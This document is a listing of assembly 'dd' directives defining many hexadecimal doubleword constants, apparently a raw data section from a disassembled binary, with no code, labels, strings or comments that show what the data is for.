dd 0ECA14AE2h, 0F8F96C76h, 2FFC2C1Bh, 73CBAAA1h, 955F5874h
dd 0BE203CB8h, 0A696178Fh, 0DBB44173h, 2ADD5685h, 8B30DC08h
dd 2CE453E7h, 0F4D1888Ah, 0F518B479h, 852CCA02h, 0F9495F36h
dd 18F771C0h, 0F53A020Fh, 4B32AECFh, 953FBC7Ah, 762F809Fh
dd 0A9A05322h, 0B09A5C82h, 162A4E08h, 0E7EDCF03h, 99E82CC1h
dd 8BCA1348h, 0C81888B8h, 0E00B01FFh, 25539D52h, 0BCFC7DF4h
dd 573034Fh, 0E762C587h
dd 8BBCE900h, 228EB125h, 522AF2A5h, 18F2F4CCh, 7C5230h
dd 2E2C67D6h, 38D3894Eh, 0BCA71AF0h, 160E344h, 84272A83h
dd 5B8887EAh, 66BE5682h, 1D25466Ch, 2F4991FDh, 801045DFh
dd 9691F612h, 2904F9EBh, 0D217D7DAh, 5E8B84A0h, 23882ECBh
dd 0B59E0117h, 0D4FF0686h, 0F4A2A247h, 0E2084C47h, 0C8300032h
dd 485B8057h, 0E626067Eh, 0A2978028h, 875488h, 1B6AB035h
dd 0E3D3C0CBh, 15D58B01h, 0E5D220E9h, 0D0C2902Ch, 0ACF94CF7h
dd 7418E679h, 0D08D2A12h, 2A2070A5h, 0D9A301ADh, 9CBEF4FDh
dd 4C443C69h, 8CE3E8C0h, 0D2363905h, 50B443A9h, 0E3DD004Fh
dd 57B9983Ah, 7D05F382h, 622FD71Dh, 0D9D8CCh, 3FDDC55Bh
dd 424F0B1Ch, 0AA2C8098h, 0C744B446h, 3A45A4A4h, 2D787568h
dd 0C8324EDCh, 8D11E817h, 0E591C780h, 0B11F8963h, 9D023F79h
dd 5EBA500Fh, 4C2425E0h, 91F16021h, 0FF2F25CCh, 16806C65h
dd 0F8AA910Ah, 1E5031CDh, 0BCD24971h, 80E6BE21h, 3F622EE8h
dd 95600E4Bh, 8045A089h, 0A360C0C4h, 0C2053AD1h, 0EB62310Ah
dd 0A3CB984Eh, 0D0802CB9h, 16C9D1EDh, 9066D43h, 0CE018424h
dd 0D53E3027h, 88698Eh, 0A7C91DF4h, 60C70CF7h, 0B4DCB923h
dd 94002404h, 211C8138h, 0D4088h, 16B89873h, 0C64D1D52h
dd 96D9C510h, 0A8214C4Dh, 0E840C40Ah, 7E09081Dh, 20FC7283h
dd 0F8C8BC9Bh, 91F2C322h, 0CEF755D7h, 0B190038h, 9CD12291h
dd 0A2D60054h, 0FB5843EBh, 2DEC85CDh, 0A21D8C8h, 0CB93B2Fh
dd 3410811Ah, 4CA02DF7h, 906725E8h, 900E84D0h, 4FD505E0h
dd 80231756h, 0FB303950h, 17CACF25h, 463D24h, 521CEC9Bh
dd 1830150Ah, 881AFE4Eh, 0D84053C7h, 269C1289h, 0BC48B0E4h
dd 30414963h, 1FCBA9FCh, 42EC8985h, 56C502F5h, 0C4564A1Eh
dd 0A2B4D003h, 0AAE7D141h, 2E69430h, 0A6695CDAh, 0B085C5D7h
dd 2F60C095h, 0B4942E24h, 0F6DDFC01h, 2870DBFDh, 3046012Ch
dd 20C6A5B3h, 51C4609Fh, 2DDD0C80h, 0BC01E796h, 20EB8756h
dd 22F1DAF0h, 1C22CCh, 9323048Ch, 4784A849h, 0D4CC9401h
dd 0C92FF667h, 162C4083h, 687CA538h, 0B3DF9618h, 0C9D21E19h
dd 58DB4AD1h, 1D40858h, 159C1EBEh, 3B9D5B42h, 0BAA8BC08h
dd 11F873A6h, 19FD80F6h, 0B146AB3Dh, 0E566C0C4h, 38009119h
dd 0AB047222h, 80FBFE83h, 3050A963h, 0F7100AB4h, 0E0ECE9Bh
dd 38666A1Dh, 912E10C7h, 7DC60E1h, 78670B94h, 0F492FBEDh
dd 0FA7954D1h, 4D023918h, 0B25A22A4h, 4BCF9B3h, 80034CA8h
dd 0ED8B2CBCh, 8FEED902h, 50724692h, 0A8C49438h, 0F2CC000Ch
dd 440D6177h, 0B74ED356h, 612BF082h, 0DC4F60C0h, 0A5C0FB88h
dd 7D08CC5h, 2B489DA6h, 3BAA81C3h, 0D522C082h, 97B25D25h
dd 808D91E0h, 0B82B499Eh, 0DA910295h, 2DB08EFBh, 711DD861h
dd 3B70004Ch, 1B12CBB3h, 0C002147Ah, 0DAFA54h, 4FF053A9h
dd 2208154Dh, 6055F829h, 1FF4113h, 309E95F2h, 0B0465Eh
dd 656E7721h, 0B43882Eh, 2F54E844h, 5D1DA044h, 680049BEh
dd 36C0F672h, 0B7B93FC3h, 4105FB80h, 212F6562h, 94000BEh
dd 5F7D337h, 8BA6EA57h, 0E298E0C8h, 113C9795h, 4D4380B1h
dd 6D815CDh, 0CFF17606h, 260021C3h, 0D30705BCh, 904BD7BDh
dd 3EFB2804h, 6BCA5F90h, 413C34h, 0A7C00C4Fh, 14C6922Ch
dd 0D4DAAA2Dh, 8261D887h, 7C5AE1DCh, 0FC28A64Fh, 0E97E01BFh
dd 41452169h, 3324757Fh, 30BFA2ACh, 27013513h, 295E28A2h
dd 72FA7DE5h, 86740058h, 9C1C7071h, 441E76D4h, 91806F51h
dd 254CE04Bh, 0C8484A57h, 6A004DB4h, 0A836D7E5h, 0FD82EEh
dd 0EA3CC596h, 0C3804AD1h, 431340Dh, 0D80E315Dh, 0F9C0BF88h
dd 33D5E3h, 8B81AE3Bh, 7D2F1EF6h, 1428412h, 6864A809h
dd 1D8B8B8h, 0F860687Fh, 602FF175h, 51C9A696h, 795CF15Ch
dd 1D5218F9h, 0CFFC073Eh, 5EDD6BE3h, 805FD669h, 26180EDCh
dd 2CCC2259h, 0FC1E3C3Ah, 3000A6DEh, 0FF6E2B9Dh, 79C88121h
dd 8D6300B4h, 3FD878E3h, 45252F31h, 0FAABA001h, 0BDA0685Bh
dd 368230E6h, 779BA00h, 0F70854BBh, 0BC4A48C3h, 37329480h
dd 14F8F619h, 6828151Ch, 2F5BB480h, 27348C84h, 68109540h
dd 473957EAh, 9F910222h, 0A9C93120h, 9534C5A4h, 0F2020861h
dd 0B8D6B338h, 0AE2DDC60h, 8BE58CB0h, 16DBAA59h, 8BE705B4h
dd 0C0B97F69h, 0D2B06D25h, 0F61A207Ch, 9D38C013h, 80BE1178h
dd 35F7836h, 0BAD20024h, 4E9BAAF2h, 809A21F1h, 0B953AC20h
dd 188C79B4h, 6BFE00B7h, 0E5DFABFh, 307884E7h, 0ACCBE14Bh
dd 8FC0B088h, 475ED6h, 0E878D4A3h, 0AE835A39h, 94CA458h
dd 5A5B4C49h, 1F4620A0h, 310B3AEEh, 19D3251h, 7356EC1Ch
dd 7E429A4h, 25963F4Fh, 1040B8E4h, 6714157Ah, 1898ACA6h
dd 5B8691B6h, 88589DC4h, 19C8FB18h, 4843095h, 468070E0h
dd 8DAC4055h, 0A02C3C59h, 691263AAh, 4885D8B0h, 10C84562h
dd 0CBE30957h, 0FA11801Dh, 0D989409Dh, 705EC0E2h, 62A8109Dh
dd 0FAC70012h, 577D3A08h, 7826792Bh, 6C017990h, 266DF8E8h
dd 49F87EDEh, 0A464C865h, 42DCD860h, 0B2C29E18h, 5D96B3D8h
dd 2ABD70C7h, 9B4AC421h, 2869E6F8h, 95C1F7E7h, 1049D4A7h
dd 8A0D8046h, 0A62CCE0Eh, 3FCFC0D5h, 7F075948h, 0A0C7F896h
dd 284376Ch, 0FA1BEE66h, 0A8D267CDh, 0DA7FAB02h, 4247A095h
dd 1951601Ch, 0BF752D99h, 0FDEA58C8h, 3E04180h, 862583Ah
dd 3698F3CBh, 0F4014EFAh, 1FC9434Fh, 203E664Ch, 0AFCC3578h
dd 1DD553Fh, 9964DFB8h, 0F8E446C8h, 0A9C71EB2h, 0A3FC01DBh
dd 25B63A83h, 962CEC08h, 0C7C9A402h, 7C880E69h, 61580B10h
dd 94985C72h, 5441A545h, 0C7012896h, 61D98074h, 1C00411h
dd 98831265h, 5874A44Ah, 0E3C54200h, 97271FA1h, 0B72E0ED5h
dd 2AC08766h, 0B04D6734h, 47CF9B18h, 0A348DA30h, 0D460A8DDh
dd 0E1FF0004h, 93093E9Dh, 49007D20h, 98ACB5EDh, 0B09E3Fh
dd 0E8EC31CEh, 0B7F16C69h, 4CE29D06h, 12847A4h, 0F42EBAF8h
dd 0E88C1FFDh, 281D9845h, 20307EC5h, 336CF0Bh, 4983FCB0h
dd 408F74D4h, 0F12C0FC9h, 7C009B78h, 440D414Dh, 74DFB1EEh
dd 8B96027h, 0E3434A91h, 0A8412C03h, 9042F12Bh, 0EC3946h
dd 0C9AAC6DCh, 8694775h, 0D7501000h, 2EF00ECAh, 0F714308Ah
dd 1732E811h, 5A502B00h, 0E9CEF8C9h, 8BFD304Bh, 3781A890h
dd 5A48F01h, 84CB5E6h, 0E08938D4h, 36420C93h, 48C8EAF0h
dd 51670707h, 0CA70A5B3h, 3A17666Ah, 180369B4h, 9526098Bh
dd 72002876h, 2A54C035h, 0F4DB4944h, 0B286001Bh, 0D5CF51C8h
dd 0A0A8FB2Dh, 3E043F5Ah, 0FCE0D76Ch, 0DFD84BC0h, 8199017Bh
dd 0C5C698D1h, 0C04270B3h, 8A8FDA03h, 8831D2F0h, 0F0FF5A79h
dd 261501F8h, 2E6D94E5h, 368C4790h, 790A2A93h, 0E7F8CDEDh
dd 4CEFA700h, 1FE04714h, 80968FCCh, 413EFB67h, 440CF670h
dd 200EFDC9h, 48EA4Ch, 0B0C4514Dh, 2EA7C66Dh, 4B5D9D12h
dd 0BB4E0Bh, 0F5A63F0h, 0EA6430B0h, 0B38FD639h, 0F7EE1A0Dh
dd 0C9F06869h, 0B1CA07F0h, 0EB420FE7h, 9900CF50h, 744A614Fh
dd 3C71CBC6h, 4C87AE18h, 13BF8Dh, 242329B3h, 0CCAAA807h
dd 77727E1h, 0DE46404Eh, 3F3F23Fh, 18334090h, 9CC82A58h
dd 440E5694h, 4034D8B7h, 0A20CB99Dh, 0FB7499h, 0F4CB5CB2h
dd 0F6B10AAAh, 0F14AAC01h, 0B372B4E4h, 118C6F3h, 0F9506C36h
dd 5B827A5Ch, 0D1670820h
dd 0F7BE03E5h, 37A365A7h, 31FEC0DFh, 7107D783h, 0CF42DEF3h
dd 9AD77C0h, 0B672008Eh, 5EA39FFh, 0A721253Dh, 4981CC65h
dd 84944220h, 30B60714h, 70E90E0h, 2711C0BDh, 0E7E49C74h
dd 0B1136713h, 77DB5400h, 0A43E34Eh, 669876B7h, 0A508B234h
dd 0D36380A1h, 0A0D01AFBh, 91072CF8h, 4056D4B4h, 2F037B50h
dd 30772A27h, 44AF9E8h, 43F71F7Eh, 0CFCE0045h, 9E2CE11Dh
dd 55FD011Fh, 0B3A0DF81h, 0BFD8B7BCh, 0DD6B0668h, 2903D569h
dd 840508EBh, 8C11D342h, 4E92119h, 8BF08C9h, 17EF4267h
dd 0C286F02Eh, 7B4251AAh, 2114D211h, 0ABDA0CF1h, 22848F29h
dd 85441A6Ch, 367000A3h, 95829B64h, 0A10F6586h, 4E2939h
dd 0AE6B8C3Fh, 36323E42h, 0B7180F73h, 0BAC3545Ah, 5890EFADh
dd 0D3034E81h, 0EA98A0B8h, 68F6E819h, 590600DAh, 8757ACDDh
dd 5A005EF4h, 56462505h, 7561F2h, 95735B34h, 418D9B07h
dd 1EAB7909h, 0B6C88033h, 0AAB383h, 8BBC60F3h, 73E0EC2h
dd 49DE7730h, 0EF31C6h, 35D06E5Dh, 0B510DD93h, 0F87A23Eh
dd 40553B32h, 764DB32Fh, 99980046h, 4A4C36CDh, 82FA1E8Ch
dd 0DB21620Eh, 0ACB240E3h, 6FF231h, 0C1F14C5Dh, 9DEC3812h
dd 0C8E1A700h, 0B179CCD0h, 0F8AC00C3h, 11FA63C0h, 0D100EC57h
dd 772E1B3Bh, 7191705Ah, 45190196h, 28BAA9Fh, 28688061h
dd 75FD6A35h, 6DDB002Ah, 8057B4EDh, 4B0F76CAh, 602F26F1h
dd 68C9BA45h, 223A00ACh, 28CB43D1h, 0D0C74782h, 30807562h
dd 534F7Dh, 8D794C7Fh, 0B7213380h, 3CD1E505h, 0A4C11471h
dd 64200A96h, 1847BD6h, 8164F7F9h, 400BB11Bh, 0F2E56DC8h
dd 13E6A30Bh, 0E245037Bh, 3738E896h, 1B6F038Ah, 0DFC866B0h
dd 27D62109h, 10C18163h, 0D207006h, 96F103E9h, 0CC30E30Bh
dd 0C117F7C0h, 7569B600h, 7DB89578h, 8040FD4Eh, 109222Fh
dd 0E44B18E1h, 24D8B997h, 48012BB4h, 0F182998Ch, 0C247B39h
dd 0E1121F26h, 400064C7h, 555AEBF2h, 64CD1F1Dh, 0A2548Fh
dd 0FF5D3B95h, 6950003Ch, 8CED4C3h, 0E09051F1h, 0E21C202h
dd 6005D014h, 0FA1B3C86h, 0A717002Dh, 61FF2F3Dh, 8B007389h
dd 27602EDDh, 0FDE1A803h, 1CDE0EBh, 7E130084h, 735DF68h
dd 31C0D827h, 2918C6B5h, 0A6F50141h, 38D27BA8h, 27D9DC7Fh
dd 250AD003h, 0A8180BC9h, 0E46E9244h, 0C1713Ch, 7C9E4AAEh
dd 5E09CE03h, 0D00B0800h, 0D151B52Fh, 2C3500DEh, 3A76106Dh
dd 0C53F975Dh, 0F78107FAh, 7C00D80Bh, 8853AEh, 1DCC4AFBh
dd 4C762023h, 0A5659307h, 0FC70A449h, 9EC12Ah, 1B87B4E3h
dd 9CF54628h, 8023AA3Eh, 364912A2h, 9A3E66h, 97987A0Ch
dd 0BC6E4E42h, 78BE4Ch, 3748EE58h, 3922533h, 4FFE5285h
dd 90C0343Ah, 0C1792B1Fh, 1EDC6100h, 0F949A76Ah, 4EB4007Eh
dd 529A6D1Dh, 0E3007182h, 5D3C23F6h, 41D1C5h, 0C796AFDh
dd 868921A9h, 9AA5CB0Fh, 20728974h, 7A60D334h, 56291E4Ch
dd 70EA465h, 31371B83h, 20D682C0h, 0DF0060F4h, 64C63ECBh
dd 1CBB7EA8h, 4063CDD8h, 62A38428h, 4F005305h, 0E5085DFBh
dd 92A2E397h, 0F0450A38h, 2C8C743Ch, 68D40069h, 13FFCEA7h
dd 804CB43Bh, 0D0642AC4h, 59BE5A5h, 0CE3A8F80h, 80D4C42Bh
dd 8458693Ch, 0E01FFE75h, 9005526Ch, 0ACC44085h, 283CFC00h
dd 6F8AEDCh, 0BF4B68B7h, 4906385Dh, 0C67064B8h, 957060h
dd 6CAC14FAh, 0DA769D94h, 70E55600h, 3B686B46h, 0E4BE0B7Eh
dd 0C0074D0h, 0E0298A3Ah, 73EDA503h, 0B5B20Fh, 0A6EA8F48h
dd 21575CADh, 974C7098h, 0F98500C4h, 7723CEDAh, 7071009Ah
dd 8DF10692h, 0D80076D2h, 4B6DB63Ch, 0E41829h, 72B3DD63h
dd 0A6689048h, 0DC08D403h, 0D0A45667h, 0EDB291h, 88158D59h
dd 0D4F08904h, 62B38602h, 0C0D6CA1Fh, 0CC6698h, 9E5F18E4h
dd 0BD79FA4Ah, 421C4D1Eh, 0F802C05h, 0DAE60C81h, 6AD499F3h
dd 0AE1AF0h, 0D81D7108h, 4317C56Dh, 7CA40B0Fh, 1FBE403Eh
dd 3012DA6Bh, 96E4F14Eh, 0A100BBC4h, 0E7176535h, 0C2EADFCFh
dd 0D20EFED8h, 6CE273E0h, 53261C00h, 0F78E2723h, 0F350137h
dd 0D6C186D9h, 7A9C40EAh, 41494084h, 8DFE003Ch, 3DB993Eh
dd 0D6F900D0h, 519D5BECh, 0C33A4BB9h, 4E73000Fh, 0BA884707h
dd 504304CFh, 0C0A7A0C2h, 6D318D78h, 6BDF4104h, 0ECCC843Fh
dd 58E272DCh, 0E40030B1h, 27ECD238h, 551EE352h, 0FB438F65h
dd 0E0C578C0h, 185B5F9h, 0D45BB79Ch, 0E030CEE3h, 2907FA87h
dd 5347AB74h, 0B9F90720h, 4A7F002Bh, 0C96C7303h, 4C003DEBh
dd 7E879BE3h, 0EAFAE43Ah, 56D30016h, 0BD810428h, 5A0058AFh
dd 7767B74Ah, 0DEEB7Dh, 258507F2h, 178B6D66h, 1193E40Ah
dd 6E16E8D5h, 0A7302500h, 7122176h, 354595A1h, 582B804Ah
dd 6C00529Fh, 0FD75023Eh, 2664BFCh, 59B61730h, 10E88055h
dd 8C0253A8h, 0C63586DBh, 990CE3FAh, 6D00D156h, 0A202C2F7h
dd 0DB291AA8h, 37F0402Ch, 61A600B4h, 157A0DC3h, 800AD5CDh
dd 0A4CBDCFBh, 88F4D143h, 0FEB540h, 7A295E88h, 9583FF43h
dd 5FB4EE00h, 18EA4D7Bh, 8FFC05C0h, 906DAE98h, 0B60A4B30h
dd 0DB08800h, 8091EEDBh, 56F200EDh, 0C1F41A7Fh, 940F6541h
dd 40CCDC40h, 32E0FF30h, 9B2F0070h, 7AC81CD7h, 770BD05Ah
dd 342BFE7h, 0E0BECAE7h, 0C14EDDh, 0EE96062Ch, 8DB683A7h
dd 0DF1CAC01h, 4B2DC264h, 0FD3C9CCh, 0AE545966h, 0CFE1A28Fh
dd 602E040Dh, 0C407995Ch, 77D3CBFFh, 0D7B312F0h, 70324980h
dd 0D6CD1700h, 713A3349h, 0DDE09D01h, 2644038Ah, 0AC7AF4h
dd 0BB5C9204h, 331F7225h, 6E246300h, 0A2098966h, 147A09E6h
dd 3C02F9A8h, 8840EB04h, 0B81D90E4h, 39004C6Dh, 695E1F5Ah
dd 0FCA50060h, 8F12158Eh, 5F2E094Ah, 0BC8C70h, 807EDACEh
dd 0E2C3BEh, 4FB1BAB7h, 0EA42ACBCh, 0A93B6778h, 83913C48h
dd 34FF35E8h, 3C12F86Ah, 0BCF20144h, 60C9961h, 40CBC547h
dd 1B9341DCh, 0A50134F4h, 9554649Eh, 8C402888h, 52564Dh
dd 32025747h, 54FD37A7h, 32786F8h, 17B7630h, 0E2EE695Dh
dd 8E31D4C1h, 1AA05702h, 0E0080E51h, 0F77306Fh, 0B5425619h
dd 8C7494DEh, 4321253Bh, 332D7B00h, 0D2756Ah, 0E7F8B34Eh
dd 9B01AE23h, 949D0602h, 0E0B96F83h, 1610CDBh, 8E3B379Ch
dd 82D157F9h, 0B15BAF62h, 4EC86820h, 0F08D3E28h, 31826600h
dd 89A0B31Ah, 7D2A39C0h, 0C08329C4h, 0AE720711h, 2E002516h
dd 601FB0F8h, 3B85265h, 5C295DFCh, 0A3B6953h, 0A4191E32h
dd 4782FF00h, 0B887DF8Ah, 5ACB00E0h, 0F6C3B21Eh, 0AE007608h
dd 0AB7C9138h, 50105395h, 79D5A82Ch, 9F1D00CFh, 0BF3D4BD4h
dd 183CAC7Bh, 3048CEh, 1FB579E9h, 0D97536h, 8FD099E4h
dd 0A6DEE287h, 7DC0DA00h, 0DFE1FF08h, 0F7F155Bh, 0AD3CA877h
dd 0B0CAACh, 544D934Bh, 0AC780DC8h, 0A2B1C200h, 1E8E6337h
dd 0F346143Ah, 0DD01FB8Fh, 83530833h, 0A40C305Bh, 87A622Eh
dd 0A203350Eh, 60D89738h, 0CDFA00h, 0C54C7E20h, 8BCFF5D4h
dd 0BB0F1000h, 97EA1703h, 644B5CA3h, 8005561Ch, 3F833078h
dd 0D25A825h, 3208086h, 49DACBh, 0A6BF939Bh, 7FE83E23h
dd 9CEB58h, 0CB3FE1E3h, 3EC3801h, 0B2460C1Fh, 0D8D0DE67h
dd 0C7033B32h, 37FEAB91h, 4A327D4Dh, 643C001Dh, 61EE7F9Ch
dd 40F0AE1Fh, 0EFDD3240h, 58CE8792h, 2C77D8C9h, 0B938BF2Ch
dd 5820DF1Dh, 0DA0411BCh
dd 133F24Ch, 0AF8783D2h, 0C0ECFAC9h, 7A06030Eh, 1196B48Bh
dd 8FDAF298h, 0A04A1B00h, 0ED8C9447h, 84FF0038h, 8A46DB26h
dd 0BB00B663h, 0D14F6265h, 40EEDEh, 589A2E8Fh, 35AA5DE2h
dd 0C6B4E300h, 0B70169D8h, 0CC3C2CFCh, 4C3F001Ch, 0EBCF7585h
dd 0BD00AAE4h, 6D718D9Ah, 755F333Ah, 8AF10747h, 0E18F9798h
dd 700BDC19h, 0CF3DF8B4h, 44118353h, 0D0F7A50Ch, 0F0169A76h
dd 0C9BF007Ah, 3EC11DA1h, 700CA7Eh, 0D419D9AAh, 7CBBEEDh
dd 10E2B0FAh, 0A6422003h, 71006BBDh, 0D96AFD73h, 7220937h
dd 45698689h, 87806BFCh, 0F9ACEC99h, 1828834Ah, 53DB008Eh
dd 0F5243906h, 7203E492h, 0E2AB49BFh, 5D62995Fh, 0BB3FD40h
dd 97E500E9h, 6B75129Bh, 70C32B8h, 0D80615D6h, 29E4A9D0h
dd 3EE882DDh, 4E550060h, 0A8F6F52h, 8B050F7Ch, 0C1BFD65Dh
dd 1BE590C0h, 389026h, 8FBC071Dh, 66DC283Bh, 5D2AD600h
dd 6547C172h, 3D2B004Fh, 0A8835097h, 0A493570h, 5AB60044h
dd 9FFA378Eh, 0F72600D9h, 5E4AB4E8h, 1D3AE9E5h, 0DEB88760h
dd 2C1E0F6h, 4605A8Ch, 398EC92h, 26F856C6h, 2005F73Ch
dd 67F96E1Ch, 97E0E487h, 306545BBh, 54E00F18h, 0A313B482h
dd 0EC80A9EDh, 96A2D1h, 8B66A802h, 9D65D5E0h, 71D28A00h
dd 5A25F5BBh, 81E498h, 0F11DEE29h, 0CFE3C75Dh, 1289F30Ah
dd 6D84DC0Ch, 0FCA29DB8h, 167E9013h, 0ADC04018h, 74F7705Eh
dd 9D298700h, 254D4FAFh, 9A803A2Ah, 0A38038BFh, 6D19337Dh
dd 0DEFA7723h, 56004871h, 441AF9B5h, 2084B7Eh, 2126C275h
dd 0C5E0B497h, 8B001E94h, 12C432C9h, 1E4DF7FEh, 0FEBF74A5h
dd 0E8DD4780h, 0CACD0AF0h, 0E9820E0Fh, 51BCA073h, 0F041A746h
dd 0B9F300BDh, 775E8586h, 0E5004822h, 4B665494h, 0B0C04A57h
dd 63271CA0h, 0F4740435h, 0DFD000D1h, 1EF3F6h, 44CDC588h
dd 0EF1146A3h, 42EEA21Eh, 5A124545h, 1424E600h, 5EB96ABh
dd 5C167BFh, 0FD081F3h, 374C802h, 0DC6CD900h, 0C3781225h
dd 0A6AD01CDh, 24833293h, 6B5BECB8h, 0F909FA00h, 0D16FB297h
dd 0EEDA001Dh, 0C1929EBCh, 7007A4Dh, 76F114EFh, 7AB498E7h
dd 2912000Fh, 1A1F1EEBh, 950267C3h, 57AFBFB7h, 9AA060BDh
dd 0DCE01D87h, 83F8E6A8h, 0A9B6BFF5h, 0ECA7CAF9h, 0C3009639h
dd 9C06D531h, 58B0CEBAh, 721860h, 2795436Eh, 5CEBA233h
dd 0AAC0D307h, 0A21F624h, 0A8233FDCh, 0C58D7300h, 0E5E89BF1h
dd 762D625h, 0B3240800h, 0F2A6E480h, 987701D9h, 1613EFDEh
dd 29D4D8A2h, 0ACC3ED03h, 80B43E5Ah, 5E0ABD9h, 1522A9D6h
dd 29068054h, 0DD03BEB0h, 0B750886Ah, 1CD3D8F4h, 6C93070Ah
dd 0CA838B78h, 2B4803D5h, 49E0BA3Fh, 1500C8FDh, 1A4656EFh
dd 974DAEh, 8D1373A9h, 0CAA063CCh, 0C053DC00h, 2B744B28h
dd 0FC6A0010h, 67C20FD6h, 250055B3h, 71859F18h, 1DF0F3DAh
dd 0C074582Ch, 5A6C0690h, 7D07F6B1h, 0B9291D27h, 0E06B4711h
dd 3C3834h, 77FB8C3Bh, 9519F661h, 6EF38A00h, 43942148h
dd 0E28D078Fh, 0B0EAB055h, 0B22D5DA3h, 0D802834Ah, 68F64696h
dd 92017E0h, 8D5C951h, 0A060C80Fh, 0E30E21C5h, 0FB4CAE01h
dd 0CEB8833Eh, 7A3C60DAh, 6F550084h, 1A771F1Bh, 35733A13h
dd 908CB403h, 0D8B0568Eh, 7E13295h, 83AE81CAh, 3023B7C8h
dd 7FACF1DBh, 2942FD01h, 4EC4AF8Fh, 5526C4h, 0BD4CC06Eh
dd 2595A35Ch, 1CB5D24Ch, 0C4019B7h, 72939F0Fh, 26F40408h
dd 0C0339A28h, 663F9C18h, 15FF4800h, 730BD62Ah, 0AC5C008Ah
dd 75EE3813h, 6D03FB8Fh, 493E1481h, 12F7F8FEh, 0E03007C3h
dd 30F92A36h, 6D2EBCB6h, 8083283Dh, 43F5988Dh, 17165FAh
dd 22B5CA39h, 301DFD0Ah, 91FEEDCBh, 7CF04426h, 4164D40Eh
dd 0FB398228h, 608020h, 7B5ADFC3h, 0C113583Dh, 10BEF300h
dd 0D1980C8Ah, 7F3B0591h, 0D0E8A829h, 0F3B0AD0Ch, 0A3775F0Fh
dd 0BA3313h, 0BCA666EEh, 0C1017D11h, 0E09FDC2h, 51E021DCh
dd 3AF770EEh, 2880F17Ah, 0D6D31758h, 0A305F679h, 70AAB756h
dd 0F785B8C0h, 7195887Bh, 0D8009E7Ah, 0B218E60Fh, 583D9BDEh
dd 63032A8Ah, 84F82408h, 0EFD75A8h, 270022FEh, 9FB8459Ch
dd 0F86BBE2Dh, 0F06E0074h, 0EE2E8D75h, 0F100C496h, 76BF9D80h
dd 0FAE4008h, 294A3DD2h, 0D3E0811Eh, 0E046E638h, 4303D0C1h
dd 0B4EE4F58h, 0F14A0287h, 0A741DE8Bh, 0D7148B40h, 44D0DCE1h
dd 6117102Dh, 0A2402008h, 7E89C76Bh, 12D900E2h, 19CE34AEh
dd 0BA0027EEh, 2F7D6792h, 3989F5h, 0E2FAB87Ah, 608C2FFh
dd 0AEED7500h, 0F5041568h, 9C5148E3h, 6CDA6500h, 1F9D41C1h
dd 1AC65603h, 0B04FD9E6h, 0EB75BF2h, 0CDA7922Ch, 3D2125E0h
dd 13074EE3h, 81B6967h, 0B41728A0h, 0A06F07CCh, 0BE2458h
dd 0EFA8A264h, 25005D7Dh, 0B6DFA9F6h, 0F1B89C9h, 6991CC4Dh
dd 0F0447EA5h, 3AFA7628h, 5601C501h, 11822D7Dh, 0DD64F940h
dd 8A9B02C6h, 0A172C4FDh, 6D98AC80h, 7B0001F8h, 9D20DDA8h
dd 9D6DB9Ch, 0C7E00D7Fh, 79322440h, 0EE010E7Bh, 0DF789EAFh
dd 708B505Bh, 270E3D67h, 7C86F081h, 17687CD2h, 0D05EE86Fh
dd 0B2BBC000h, 0E8A33E7Bh, 185DE881h, 210A136Fh, 0D21F558Ch
dd 7A87BBAFh, 0A340B3C8h, 27D816h, 34F02CE1h, 0E58FCF0Dh
dd 0C49D7B00h, 0CBD2B24Bh, 740C0A3h, 3B197F96h, 9DCDEC00h
dd 53B2FAD6h, 1E91EAEEh, 80D2862Fh, 0A4B616C7h, 8210DA50h
dd 35C0D079h, 34FA32D2h, 0CA50F37Ch, 132AC70Ch, 0AF00AC2Dh
dd 0E87A82E3h, 0DA0D6Fh, 0A6C6E756h, 23173106h, 7002ED05h
dd 28C0259Ah, 41424Bh, 665613BCh, 8822A865h, 6D786000h
dd 93FB3BE3h, 214C00B2h, 38B7EF6Bh, 0DF00F680h, 0C0EA69Fh
dd 0EC6C56h, 1198157Ah, 0EA99AB6Eh, 9E3E66E4h, 0B6388022h
dd 26A52A83h, 0E5E020h, 0B50843CCh, 0B8E2CFB4h, 32B66500h
dd 54E925EEh, 9B524A96h, 0FE044240h, 98AC6BE0h, 3F42F48h
dd 4023CBDCh, 0E1678BB7h, 188411D8h, 4FDF33DEh, 826A8314h
dd 8DFBE0EEh, 58A7906Fh, 17A20CDh, 0B8FF4FD7h, 0FC5B6903h
dd 0AF00B2ABh, 0C4C2D029h, 7EA145Ah, 43A04146h, 0D455E06Ch
dd 0D8313ACBh, 1B9418E7h, 0F8560AE4h, 4863B0C5h, 0E531E453h
dd 83BD4A90h, 6D56FC78h, 79C90651h, 0D1E254E6h, 0EC7BBA07h
dd 0B300A9F7h, 7EAE26D5h, 5C7C91h, 0EFEAD0B2h, 1DD660Ch
dd 0D4C6BB18h, 30BDD139h, 3E60B86Eh, 0A001C138h, 0DC69B7BCh
dd 188991DEh, 5890E29Eh, 0B46E9C3Bh, 28C483C0h, 673105CDh
dd 388C2Fh, 0CC74D208h, 48FF6BE7h, 5572A4B4h, 0A1076900h
dd 923150C4h, 0DFE8C04Dh, 3D0BEF51h, 1A579C00h, 0A1138F5Bh
dd 1179C0BEh, 52E2C3E8h, 0D4F0500h, 58EB533Bh, 47D70CB2h
dd 0B129BBC4h, 902F662Ah, 0C852CB00h, 3E4147CCh, 0C0E4E053h
dd 0D6F8EBB8h, 953A8EBAh, 1B18019h, 0B20D4A05h, 75200071h
dd 4DE5BF3h, 300B7DAh, 419E7939h, 0EC937628h, 0E695E0F4h
dd 24AF85Eh, 0A203DFDh, 444D5134h, 0FB13C040h, 0A5AC0A83h
dd 30CB7F7h, 57BF829Eh, 80C0D4C3h, 39C0A19Fh, 0F41278A6h
dd 33A21634h, 894190Bh, 0FC21804Eh, 0DD51ECA0h, 0ADDF0770h
dd 4C481B3Ch, 0B81956F8h, 4658CE22h, 718349C9h, 6F386BEh
dd 0C87C0AD0h, 3FD67B1Fh, 0C90A6868h, 0A4C7FC5Ah, 901BBC02h
dd 105441D6h, 12EFA460h, 20BF72B5h, 0B7373320h, 16241180h
dd 214FA147h, 0EC84A7C8h
dd 8B583E7Ah, 0FB861994h, 6468BB08h, 118C4C00h, 7B30C432h
dd 0C7482267h, 7F9E4AD3h, 6B601060h, 7D307B5Ch, 7DCE0BEh
dd 0B2B18356h, 964C21A9h, 0F44101BAh, 435432C5h, 21C040C6h
dd 22EF297Ah, 0AE4C811Ch, 74174F9Ch, 3FE23B24h, 0D44D5A01h
dd 0A68A7B57h, 58885C20h, 368268F6h, 998062E9h, 0D1D2831Bh
dd 30814B3Ah, 0F16C215Dh, 0F2190762h, 0A2D73A21h, 8C8065C8h
